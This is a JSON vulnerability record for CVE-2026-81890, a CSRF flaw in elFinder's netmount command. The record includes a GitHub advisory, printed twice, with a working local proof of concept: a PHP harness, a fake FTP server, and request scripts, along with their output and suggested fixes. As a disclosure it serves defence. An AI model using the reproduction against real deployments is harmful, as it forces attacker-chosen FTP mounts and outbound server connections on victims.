{"id":"CVE-2026-81890","aliases":["EUVD-2026-68772","GHSA-9hjf-w35w-6vx2"],"status":"published","title":"elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections","description":"elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.70, the netmount command is omitted from elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php, so validateCsrfToken() is not called for this state-changing operation. In the shipped php/connector.minimal.php-dist configuration, FTP network mounts are enabled by default, and attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments flow through elFinder::netmount() in php/elFinder.class.php to php/elFinderVolumeFTP.class.php. A cross-site request can therefore persist an attacker-chosen FTP mount in the victim's session, cause the PHP server to connect to an attacker-chosen FTP host and port, and send supplied credentials without an X-elFinder-CSRF token. This issue is fixed in version 2.1.70.","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00177,"percentile":0.07321,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-352"],"published":"2026-08-31T20:29:43Z","modified":"2026-10-28T02:30:34Z","fixes":[{"ecosystem":"Packagist","package":"studio-42/elfinder","fixed_in":["2.1.70"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"studio-42/elfinder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.70"}]}]},{"source":"osv","ecosystem":"Packagist","package":"studio-42/elfinder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.70"}]}],"versions":["2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.16","2.1.17","2.1.18","2.1.19","2.1.2","2.1.20","2.1.21","2.1.22","2.1.23","2.1.24","2.1.25","2.1.26","2.1.27","2.1.28","2.1.29","2.1.3","2.1.30","2.1.31","2.1.32","2.1.33","2.1.34","2.1.35","2.1.36","2.1.37","2.1.38","2.1.39","2.1.4","2.1.40","2.1.41","2.1.42","2.1.43","2.1.44","2.1.45","2.1.46","2.1.47","2.1.48","2.1.49","2.1.5","2.1.50","2.1.51","2.1.52","2.1.53","2.1.54","2.1.55","2.1.56","2.1.57","2.1.58","2.1.59","2.1.6","2.1.60","2.1.61","2.1.62","2.1.63","2.1.64","2.1.65","2.1.66","2.1.67","2.1.68","2.1.69","2.1.7","2.1.8","2.1.9"]}],"products":[{"vendor":"studio-42","product":"elfinder"}],"references":[{"url":"https://github.com/Studio-42/elFinder/security/advisories/GHSA-9hjf-w35w-6vx2","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Studio-42/elFinder/commit/31284facd033e081b2b69c08873b39c8a413b762","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Studio-42/elFinder/commit/36d40fff12222ad4c229d8889d8ed3fd3dbf0415","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Studio-42/elFinder/releases/tag/2.1.70","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81890","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9hjf-w35w-6vx2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/81xxx/CVE-2026-81890.json","tags":["advisory"]},{"url":"https://github.com/Studio-42/elFinder","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-81890","title":"elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections","description":"elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.70, the netmount command is omitted from elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php, so validateCsrfToken() is not called for this state-changing operation. In the shipped php/connector.minimal.php-dist configuration, FTP network mounts are enabled by default, and attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments flow through elFinder::netmount() in php/elFinder.class.php to php/elFinderVolumeFTP.class.php. A cross-site request can therefore persist an attacker-chosen FTP mount in the victim's session, cause the PHP server to connect to an attacker-chosen FTP host and port, and send supplied credentials without an X-elFinder-CSRF token. This issue is fixed in version 2.1.70.","status":"published","published":"2026-08-31T20:29:43.695Z","modified":"2026-09-01T13:55:03.629Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T13:36:18.075535Z"}],"euvd":[{"id":"EUVD-2026-68772","description":"elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.70, the netmount command is omitted from elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php, so validateCsrfToken() is not called for this state-changing operation. In the shipped php/connector.minimal.php-dist configuration, FTP network mounts are enabled by default, and attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments flow through elFinder::netmount() in php/elFinder.class.php to php/elFinderVolumeFTP.class.php. A cross-site request can therefore persist an attacker-chosen FTP mount in the victim's session, cause the PHP server to connect to an attacker-chosen FTP host and port, and send supplied credentials without an X-elFinder-CSRF token. This issue is fixed in version 2.1.70.","status":"published","published":"2026-08-31T20:29:43Z","modified":"2026-09-01T13:55:03Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T18:01:18.76029Z"}],"ghsa":[{"id":"GHSA-9hjf-w35w-6vx2","title":"elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections","description":"### Summary\nThe PHP connector's CSRF gate protects many mutating commands, but it does not protect the `netmount` connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the `X-elFinder-CSRF` token that other state-changing commands require.\n\nThis was confirmed locally against `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, corresponding to the repository's documented stable release `2.1.69` / API revision `2.1.69`.\n\n### Details\nThe connector has an explicit allowlist of commands that require CSRF validation in `php/elFinderConnector.class.php:79-92`. That list includes state-changing commands such as `mkdir`, `mkfile`, `paste`, `put`, `rename`, `rm`, `upload`, `archive`, `extract`, `resize`, and `chmod`, but it omits `netmount`. The enforcement point in `php/elFinderConnector.class.php:376-381` calls `validateCsrfToken()` only when the command appears in that list.\n\n`netmount` is a first-class connector command declared in `php/elFinder.class.php:248-278`, specifically `php/elFinder.class.php:263`, with attacker-controlled `protocol`, `host`, `path`, `port`, `user`, `pass`, `alias`, and `options` arguments. Its implementation in `php/elFinder.class.php:1560-1660` resolves the requested network driver, copies request arguments into a volume options array, calls the driver's `netmountPrepare()`, mounts the volume online, and persists successful network volume options in the session with `saveNetVolumes()` at `php/elFinder.class.php:1642-1649`.\n\nThe documented minimal installation path tells users to rename `/php/connector.minimal.php-dist` and load elFinder (`README.md:105-120`). That shipped minimal connector explicitly enables FTP network mounts at `php/connector.minimal.php-dist:42-43`:\n\n```php\n// // Enable FTP connector netmount\nelFinder::$netDrivers['ftp'] = 'FTP';\n```\n\nThe FTP driver then uses request-controlled connection parameters. `php/elFinderVolumeFTP.class.php:164-215` initializes the host, port, user, password, path, and netmount key, and `php/elFinderVolumeFTP.class.php:264-327` calls `ftp_connect()` / `ftp_ssl_connect()`, `ftp_login()`, `ftp_raw()`, `ftp_chdir()`, `ftp_pwd()`, `ftp_pasv()`, `FEAT`, and `MLST` against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.\n\nFalse-positive checks performed:\n\n- `mkdir` without the CSRF header was rejected with HTTP 403 and `csrfReload:true`, proving the harness exercised the connector's CSRF gate.\n- `netmount` without the same CSRF header succeeded with HTTP 200 and an `added` network-volume response.\n- The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.\n- No custom application authentication, external service, public infrastructure, or destructive action was used.\n- Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.\n\nCandidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.\n\n### PoC\nThe following safe local reproduction uses only a disposable connector under `/tmp`, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to `127.0.0.1`. It does not contact external systems.\n\n1. From a clean checkout of `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, create a disposable harness:\n\n```sh\nmkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs\ncat \u003e /tmp/elfinder-csrf-poc-claude/www/connector.php \u003c\u003c'PHP'\n\u003c?php\nerror_reporting(E_ALL);\nrequire '/path/to/elFinder/php/autoload.php';\n\nelFinder::$netDrivers['ftp'] = 'FTP';\n\nfunction access($attr, $path, $data, $volume, $isDir, $relpath) {\n    $basename = basename($path);\n    return $basename[0] === '.' \u0026\u0026 strlen($relpath) !== 1\n        ? !($attr == 'read' || $attr == 'write')\n        : null;\n}\n\n$opts = array(\n    'roots' =\u003e array(\n        array(\n            'driver' =\u003e 'LocalFileSystem',\n            'path' =\u003e __DIR__ . '/files/',\n            'URL' =\u003e '/files/',\n            'trashHash' =\u003e 't1_Lw',\n            'uploadDeny' =\u003e array('all'),\n            'uploadAllow' =\u003e array('text/plain'),\n            'uploadOrder' =\u003e array('deny', 'allow'),\n            'accessControl' =\u003e 'access'\n        ),\n        array(\n            'id' =\u003e '1',\n            'driver' =\u003e 'Trash',\n            'path' =\u003e __DIR__ . '/files/.trash/',\n            'tmbURL' =\u003e '/files/.trash/.tmb/',\n            'uploadDeny' =\u003e array('all'),\n            'uploadAllow' =\u003e array('text/plain'),\n            'uploadOrder' =\u003e array('deny', 'allow'),\n            'accessControl' =\u003e 'access'\n        ),\n    )\n);\n\n$connector = new elFinderConnector(new elFinder($opts));\n$connector-\u003erun();\nPHP\n```\n\n2. Start this minimal fake FTP server as `/tmp/elfinder-csrf-poc-claude/fake_ftp.py`:\n\n```python\n#!/usr/bin/env python3\nimport socket, sys\nHOST = '127.0.0.1'\nPORT = int(sys.argv[1])\nLOG = sys.argv[2]\ndef log(line):\n    with open(LOG, 'a', encoding='utf-8') as f:\n        f.write(line + '\\n')\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    s.bind((HOST, PORT))\n    s.listen(5)\n    log(f'LISTEN {HOST}:{PORT}')\n    while True:\n        conn, addr = s.accept()\n        with conn:\n            log(f'CONNECT {addr[0]}:{addr[1]}')\n            conn.sendall(b'220 fake ftp ready\\r\\n')\n            while True:\n                data = b''\n                while not data.endswith(b'\\n'):\n                    chunk = conn.recv(1)\n                    if not chunk:\n                        log('CLOSE')\n                        break\n                    data += chunk\n                if not data:\n                    break\n                line = data.decode('latin-1', errors='replace').strip()\n                log('CMD ' + line)\n                cmd = line.split(' ', 1)[0].upper()\n                if cmd == 'USER': conn.sendall(b'331 password required\\r\\n')\n                elif cmd == 'PASS': conn.sendall(b'230 login ok\\r\\n')\n                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\\r\\n')\n                elif cmd == 'HELP': conn.sendall(b'214 fake help\\r\\n')\n                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\\r\\n')\n                elif cmd == 'PWD': conn.sendall(b'257 \"/\"\\r\\n')\n                elif cmd == 'FEAT': conn.sendall(b'211-Features\\r\\n MLST type*;size*;modify*;perm*;\\r\\n211 End\\r\\n')\n                elif cmd == 'MLST': conn.sendall(b'250-Listing /\\r\\n type=dir;size=0;modify=20260101000000;perm=el; /\\r\\n250 End\\r\\n')\n                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\\r\\n')\n                elif cmd == 'QUIT':\n                    conn.sendall(b'221 bye\\r\\n')\n                    break\n                else: conn.sendall(b'200 ok\\r\\n')\n```\n\n3. Start the local services:\n\n```sh\nphp -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www\npython3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log\n```\n\n4. In another shell, run this control-and-positive test. It intentionally omits `X-elFinder-CSRF` from both the protected `mkdir` control request and the `netmount` request:\n\n```python\nimport json, urllib.parse, urllib.request, urllib.error, http.cookiejar\nbase = 'http://127.0.0.1:8765/connector.php'\nlog = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'\nopen(log, 'w', encoding='utf-8').close()\ncj = http.cookiejar.CookieJar()\nopener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))\ndef request(params, timeout=12):\n    url = base + '?' + urllib.parse.urlencode(params)\n    try:\n        with opener.open(url, timeout=timeout) as resp:\n            return resp.status, resp.read().decode('utf-8', errors='replace')\n    except urllib.error.HTTPError as e:\n        return e.code, e.read().decode('utf-8', errors='replace')\nstatus, body = request({'cmd':'open','init':'1','target':'l1_Lw'})\nopened = json.loads(body)\ntarget = opened.get('cwd', {}).get('hash', 'l1_Lw')\nprint('OPEN_STATUS=' + str(status))\nprint('OPEN_HAS_CSRF=' + str('\"csrf\"' in body))\nstatus, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})\nprint('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))\nprint('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\\n', ' ')[:160])\nstatus, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})\nprint('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))\nprint('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('\"added\"' in body))\nprint('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\\n', ' ')[:260])\nprint('FTP_LOG=')\nprint(open(log, encoding='utf-8', errors='replace').read().strip())\n```\n\nObserved output from the final local re-run in this environment:\n\n```text\nOPEN_STATUS=200\nOPEN_HAS_CSRF=True\nCONTROL_MKDIR_WITHOUT_CSRF_STATUS=403\nCONTROL_MKDIR_WITHOUT_CSRF_BODY={\"error\":[\"errPerm\",\"Invalid request. Please reload.\"],\"csrfReload\":true}\nNETMOUNT_WITHOUT_CSRF_STATUS=200\nNETMOUNT_WITHOUT_CSRF_HAS_ADDED=True\nNETMOUNT_WITHOUT_CSRF_BODY={\"added\":[{\"mime\":\"directory\",\"size\":0,\"ts\":1767225600,\"read\":1,\"write\":0,\"locked\":1,\"hash\":\"fnm1_Lw\",\"name\":\"anonymous@127.0.0.1\",\"rootRev\":\"\",\"options\":{\"path\":\"\",\"url\":\"\",\"tmbUrl\":\"self\",\"disabled\":[],\"separator\":\"\\/\",\"copyOverwrite\":1,\"uploadOverwrite\":1,\nFTP_LOG=\nCONNECT 127.0.0.1:37496\nCMD USER anonymous\nCMD PASS\nCMD OPTS UTF8 ON\nCMD HELP\nCMD epsv4 off\nCMD PASV\nCMD CWD /\nCMD PWD\nCMD FEAT\nCMD MLST /\nCLOSE\n```\n\nThe negative/control case is the `mkdir` request: without `X-elFinder-CSRF`, it returns HTTP 403 and `csrfReload:true`. The positive case is `netmount`: without `X-elFinder-CSRF`, it returns HTTP 200 with `added` and the fake FTP server logs the server-side FTP connection.\n\nCleanup:\n\n```sh\n# Stop the two local server processes, then remove the disposable harness.\nrm -rf /tmp/elfinder-csrf-poc-claude\n```\n\n### Impact\nAn attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for `netmount`. In the shipped minimal connector configuration, this lets the attacker:\n\n- force the victim's elFinder session to persist an attacker-chosen FTP network volume;\n- cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;\n- send attacker-supplied FTP username/password values to that endpoint; and\n- expose the victim's later file-manager UI to the mounted remote volume.\n\nThe proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts `netmount` without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.\n\nThe impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing `netmount` CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.\n\n### Suggested remediation\nRequire CSRF validation for `netmount`, including `protocol=netunmount`, before executing the command. The minimal fix is to add `netmount` to `elFinderConnector::$csrfProtectedCmds` in `php/elFinderConnector.class.php`.\n\nAlso consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.\n\nSuggested regression tests:\n\n- A request to `cmd=netmount\u0026protocol=ftp\u0026host=127.0.0.1\u0026port=\u003clocal-port\u003e` without `X-elFinder-CSRF` must return HTTP 403 and must not connect to the FTP listener.\n- The same request with the valid token from `cmd=open\u0026init=1` should preserve intended behavior for authorized users.\n- `protocol=netunmount` should also reject missing/invalid CSRF tokens.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)","status":"published","published":"2026-09-02T14:37:36Z","modified":"2026-09-02T14:37:37Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:41:10.121131Z"}],"nvd":[{"id":"CVE-2026-81890","description":"elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.70, the netmount command is omitted from elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php, so validateCsrfToken() is not called for this state-changing operation. In the shipped php/connector.minimal.php-dist configuration, FTP network mounts are enabled by default, and attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments flow through elFinder::netmount() in php/elFinder.class.php to php/elFinderVolumeFTP.class.php. A cross-site request can therefore persist an attacker-chosen FTP mount in the victim's session, cause the PHP server to connect to an attacker-chosen FTP host and port, and send supplied credentials without an X-elFinder-CSRF token. This issue is fixed in version 2.1.70.","status":"published","published":"2026-08-31T21:17:52.603Z","modified":"2026-09-09T21:09:13.08Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:12:42.691315Z"}],"osv":[{"id":"CVE-2026-81890","title":"elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections","description":"elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.70, the netmount command is omitted from elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php, so validateCsrfToken() is not called for this state-changing operation. In the shipped php/connector.minimal.php-dist configuration, FTP network mounts are enabled by default, and attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments flow through elFinder::netmount() in php/elFinder.class.php to php/elFinderVolumeFTP.class.php. A cross-site request can therefore persist an attacker-chosen FTP mount in the victim's session, cause the PHP server to connect to an attacker-chosen FTP host and port, and send supplied credentials without an X-elFinder-CSRF token. This issue is fixed in version 2.1.70.","status":"published","published":"2026-08-31T20:29:43.695Z","modified":"2026-10-28T02:30:34.34329951Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:45:18.131258Z"},{"id":"GHSA-9hjf-w35w-6vx2","title":"elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections","description":"### Summary\nThe PHP connector's CSRF gate protects many mutating commands, but it does not protect the `netmount` connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the `X-elFinder-CSRF` token that other state-changing commands require.\n\nThis was confirmed locally against `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, corresponding to the repository's documented stable release `2.1.69` / API revision `2.1.69`.\n\n### Details\nThe connector has an explicit allowlist of commands that require CSRF validation in `php/elFinderConnector.class.php:79-92`. That list includes state-changing commands such as `mkdir`, `mkfile`, `paste`, `put`, `rename`, `rm`, `upload`, `archive`, `extract`, `resize`, and `chmod`, but it omits `netmount`. The enforcement point in `php/elFinderConnector.class.php:376-381` calls `validateCsrfToken()` only when the command appears in that list.\n\n`netmount` is a first-class connector command declared in `php/elFinder.class.php:248-278`, specifically `php/elFinder.class.php:263`, with attacker-controlled `protocol`, `host`, `path`, `port`, `user`, `pass`, `alias`, and `options` arguments. Its implementation in `php/elFinder.class.php:1560-1660` resolves the requested network driver, copies request arguments into a volume options array, calls the driver's `netmountPrepare()`, mounts the volume online, and persists successful network volume options in the session with `saveNetVolumes()` at `php/elFinder.class.php:1642-1649`.\n\nThe documented minimal installation path tells users to rename `/php/connector.minimal.php-dist` and load elFinder (`README.md:105-120`). That shipped minimal connector explicitly enables FTP network mounts at `php/connector.minimal.php-dist:42-43`:\n\n```php\n// // Enable FTP connector netmount\nelFinder::$netDrivers['ftp'] = 'FTP';\n```\n\nThe FTP driver then uses request-controlled connection parameters. `php/elFinderVolumeFTP.class.php:164-215` initializes the host, port, user, password, path, and netmount key, and `php/elFinderVolumeFTP.class.php:264-327` calls `ftp_connect()` / `ftp_ssl_connect()`, `ftp_login()`, `ftp_raw()`, `ftp_chdir()`, `ftp_pwd()`, `ftp_pasv()`, `FEAT`, and `MLST` against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.\n\nFalse-positive checks performed:\n\n- `mkdir` without the CSRF header was rejected with HTTP 403 and `csrfReload:true`, proving the harness exercised the connector's CSRF gate.\n- `netmount` without the same CSRF header succeeded with HTTP 200 and an `added` network-volume response.\n- The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.\n- No custom application authentication, external service, public infrastructure, or destructive action was used.\n- Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.\n\nCandidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.\n\n### PoC\nThe following safe local reproduction uses only a disposable connector under `/tmp`, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to `127.0.0.1`. It does not contact external systems.\n\n1. From a clean checkout of `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, create a disposable harness:\n\n```sh\nmkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs\ncat \u003e /tmp/elfinder-csrf-poc-claude/www/connector.php \u003c\u003c'PHP'\n\u003c?php\nerror_reporting(E_ALL);\nrequire '/path/to/elFinder/php/autoload.php';\n\nelFinder::$netDrivers['ftp'] = 'FTP';\n\nfunction access($attr, $path, $data, $volume, $isDir, $relpath) {\n    $basename = basename($path);\n    return $basename[0] === '.' \u0026\u0026 strlen($relpath) !== 1\n        ? !($attr == 'read' || $attr == 'write')\n        : null;\n}\n\n$opts = array(\n    'roots' =\u003e array(\n        array(\n            'driver' =\u003e 'LocalFileSystem',\n            'path' =\u003e __DIR__ . '/files/',\n            'URL' =\u003e '/files/',\n            'trashHash' =\u003e 't1_Lw',\n            'uploadDeny' =\u003e array('all'),\n            'uploadAllow' =\u003e array('text/plain'),\n            'uploadOrder' =\u003e array('deny', 'allow'),\n            'accessControl' =\u003e 'access'\n        ),\n        array(\n            'id' =\u003e '1',\n            'driver' =\u003e 'Trash',\n            'path' =\u003e __DIR__ . '/files/.trash/',\n            'tmbURL' =\u003e '/files/.trash/.tmb/',\n            'uploadDeny' =\u003e array('all'),\n            'uploadAllow' =\u003e array('text/plain'),\n            'uploadOrder' =\u003e array('deny', 'allow'),\n            'accessControl' =\u003e 'access'\n        ),\n    )\n);\n\n$connector = new elFinderConnector(new elFinder($opts));\n$connector-\u003erun();\nPHP\n```\n\n2. Start this minimal fake FTP server as `/tmp/elfinder-csrf-poc-claude/fake_ftp.py`:\n\n```python\n#!/usr/bin/env python3\nimport socket, sys\nHOST = '127.0.0.1'\nPORT = int(sys.argv[1])\nLOG = sys.argv[2]\ndef log(line):\n    with open(LOG, 'a', encoding='utf-8') as f:\n        f.write(line + '\\n')\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    s.bind((HOST, PORT))\n    s.listen(5)\n    log(f'LISTEN {HOST}:{PORT}')\n    while True:\n        conn, addr = s.accept()\n        with conn:\n            log(f'CONNECT {addr[0]}:{addr[1]}')\n            conn.sendall(b'220 fake ftp ready\\r\\n')\n            while True:\n                data = b''\n                while not data.endswith(b'\\n'):\n                    chunk = conn.recv(1)\n                    if not chunk:\n                        log('CLOSE')\n                        break\n                    data += chunk\n                if not data:\n                    break\n                line = data.decode('latin-1', errors='replace').strip()\n                log('CMD ' + line)\n                cmd = line.split(' ', 1)[0].upper()\n                if cmd == 'USER': conn.sendall(b'331 password required\\r\\n')\n                elif cmd == 'PASS': conn.sendall(b'230 login ok\\r\\n')\n                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\\r\\n')\n                elif cmd == 'HELP': conn.sendall(b'214 fake help\\r\\n')\n                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\\r\\n')\n                elif cmd == 'PWD': conn.sendall(b'257 \"/\"\\r\\n')\n                elif cmd == 'FEAT': conn.sendall(b'211-Features\\r\\n MLST type*;size*;modify*;perm*;\\r\\n211 End\\r\\n')\n                elif cmd == 'MLST': conn.sendall(b'250-Listing /\\r\\n type=dir;size=0;modify=20260101000000;perm=el; /\\r\\n250 End\\r\\n')\n                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\\r\\n')\n                elif cmd == 'QUIT':\n                    conn.sendall(b'221 bye\\r\\n')\n                    break\n                else: conn.sendall(b'200 ok\\r\\n')\n```\n\n3. Start the local services:\n\n```sh\nphp -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www\npython3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log\n```\n\n4. In another shell, run this control-and-positive test. It intentionally omits `X-elFinder-CSRF` from both the protected `mkdir` control request and the `netmount` request:\n\n```python\nimport json, urllib.parse, urllib.request, urllib.error, http.cookiejar\nbase = 'http://127.0.0.1:8765/connector.php'\nlog = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'\nopen(log, 'w', encoding='utf-8').close()\ncj = http.cookiejar.CookieJar()\nopener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))\ndef request(params, timeout=12):\n    url = base + '?' + urllib.parse.urlencode(params)\n    try:\n        with opener.open(url, timeout=timeout) as resp:\n            return resp.status, resp.read().decode('utf-8', errors='replace')\n    except urllib.error.HTTPError as e:\n        return e.code, e.read().decode('utf-8', errors='replace')\nstatus, body = request({'cmd':'open','init':'1','target':'l1_Lw'})\nopened = json.loads(body)\ntarget = opened.get('cwd', {}).get('hash', 'l1_Lw')\nprint('OPEN_STATUS=' + str(status))\nprint('OPEN_HAS_CSRF=' + str('\"csrf\"' in body))\nstatus, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})\nprint('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))\nprint('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\\n', ' ')[:160])\nstatus, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})\nprint('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))\nprint('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('\"added\"' in body))\nprint('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\\n', ' ')[:260])\nprint('FTP_LOG=')\nprint(open(log, encoding='utf-8', errors='replace').read().strip())\n```\n\nObserved output from the final local re-run in this environment:\n\n```text\nOPEN_STATUS=200\nOPEN_HAS_CSRF=True\nCONTROL_MKDIR_WITHOUT_CSRF_STATUS=403\nCONTROL_MKDIR_WITHOUT_CSRF_BODY={\"error\":[\"errPerm\",\"Invalid request. Please reload.\"],\"csrfReload\":true}\nNETMOUNT_WITHOUT_CSRF_STATUS=200\nNETMOUNT_WITHOUT_CSRF_HAS_ADDED=True\nNETMOUNT_WITHOUT_CSRF_BODY={\"added\":[{\"mime\":\"directory\",\"size\":0,\"ts\":1767225600,\"read\":1,\"write\":0,\"locked\":1,\"hash\":\"fnm1_Lw\",\"name\":\"anonymous@127.0.0.1\",\"rootRev\":\"\",\"options\":{\"path\":\"\",\"url\":\"\",\"tmbUrl\":\"self\",\"disabled\":[],\"separator\":\"\\/\",\"copyOverwrite\":1,\"uploadOverwrite\":1,\nFTP_LOG=\nCONNECT 127.0.0.1:37496\nCMD USER anonymous\nCMD PASS\nCMD OPTS UTF8 